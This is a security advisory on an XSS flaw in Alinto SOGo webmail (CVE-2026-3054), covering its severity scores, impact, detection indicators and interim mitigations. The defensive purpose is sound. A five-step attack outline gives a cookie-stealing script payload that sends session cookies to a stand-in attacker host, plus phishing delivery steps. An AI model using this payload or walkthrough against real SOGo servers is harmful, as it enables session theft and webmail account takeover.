CVE-2026-3054: 
NixOS vulnerability analysis and mitigation

CVE-2026-3054 is a Cross-Site Scripting (XSS) vulnerability in Alinto SOGo versions 5.12.3 and 5.12.4. The flaw arises from improper neutralization of the hint argument, allowing remote attackers to inject malicious scripts into web pages viewed by other users. It was published on February 24, 2026, and assigned by VulDB. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium), and a CVSS v4.0 base score of 2.1 (Low) (Red Hat CVE, VulDB).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and CWE-94 (Improper Control of Generation of Code). An attacker can manipulate the hint argument in an unknown function within SOGo to inject arbitrary JavaScript or HTML that is rendered in the victim's browser. The attack is network-based, requires no authentication, and requires passive user interaction (e.g., a victim visiting or interacting with a crafted page). A proof-of-concept exploit is publicly available (VulDB, Infinit Sec).

Successful exploitation can result in limited confidentiality and integrity impacts within the context of the victim's browser session — such as session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. Because the scope is changed (per CVSS v3.1), the injected script can affect resources beyond the vulnerable component itself. Availability is not directly impacted, but chained with social engineering, this vulnerability could facilitate account takeover in SOGo webmail environments (VulDB, Red Hat CVE).

A public proof-of-concept exploit is available and noted as potentially being used in the wild, according to the VulDB disclosure (VulDB). The EPSS score is approximately 0.029% (0.000290), indicating a low but non-zero probability of exploitation in the near term. The vulnerability is detected by Tenable Nessus (plugin ID 299877) (Tenable). No threat actor attribution or CISA KEV catalog listing has been identified at this time. The vendor (Alinto) did not respond to early disclosure attempts.

1. Reconnaissance: Identify publicly accessible Alinto SOGo instances running versions 5.12.3 or 5.12.4 using web search engines, Shodan, or Censys.
2. Identify the vulnerable parameter: Locate the functionality within SOGo that processes the hint argument — this may be associated with a form field, URL parameter, or UI component that accepts user-supplied input.
3. Craft XSS payload: Construct a malicious payload targeting the hint parameter, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent encoded variant.
4. Deliver the payload: Send the crafted URL or input to a victim user via phishing, a shared link, or by embedding it in a context where the victim will interact with the SOGo interface.
5. Achieve objective: When the victim loads the page, the injected script executes in their browser, potentially exfiltrating session cookies, performing actions on their behalf, or redirecting them to a malicious site (VulDB, Infinit Sec).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after interacting with SOGo; unusual GET/POST requests containing encoded JavaScript in the hint parameter.
• Logs: SOGo web server access logs showing requests with suspicious characters (e.g., <script>, %3Cscript%3E, javascript:, onerror=) in the hint parameter or related query strings.
• Browser/Session: Unexpected session termination or re-authentication prompts for SOGo users; reports from users of being redirected to unknown pages while using SOGo.
• File System: No direct file system artifacts expected for a reflected XSS; however, stored XSS variants may leave persistent payloads in SOGo database entries if the hint value is persisted.

No official patch or vendor advisory from Alinto has been published as of the disclosure date, as the vendor did not respond to the researcher's contact attempts (VulDB). Organizations should monitor for a patched release beyond version 5.12.4 and apply it promptly when available. In the interim, consider deploying a Web Application Firewall (WAF) with XSS filtering rules to block malicious input targeting the hint parameter, and restrict access to SOGo instances to trusted networks where feasible. Users should be advised to exercise caution with unexpected SOGo links.

The vulnerability was noted on Bluesky via the CVE tracking account shortly after publication (Bluesky). A brief technical write-up was published by Infinit Sec (Infinit Sec). Red Hat tracked the CVE in their security database (Red Hat CVE). No significant broader media coverage or notable researcher commentary beyond initial aggregation has been identified.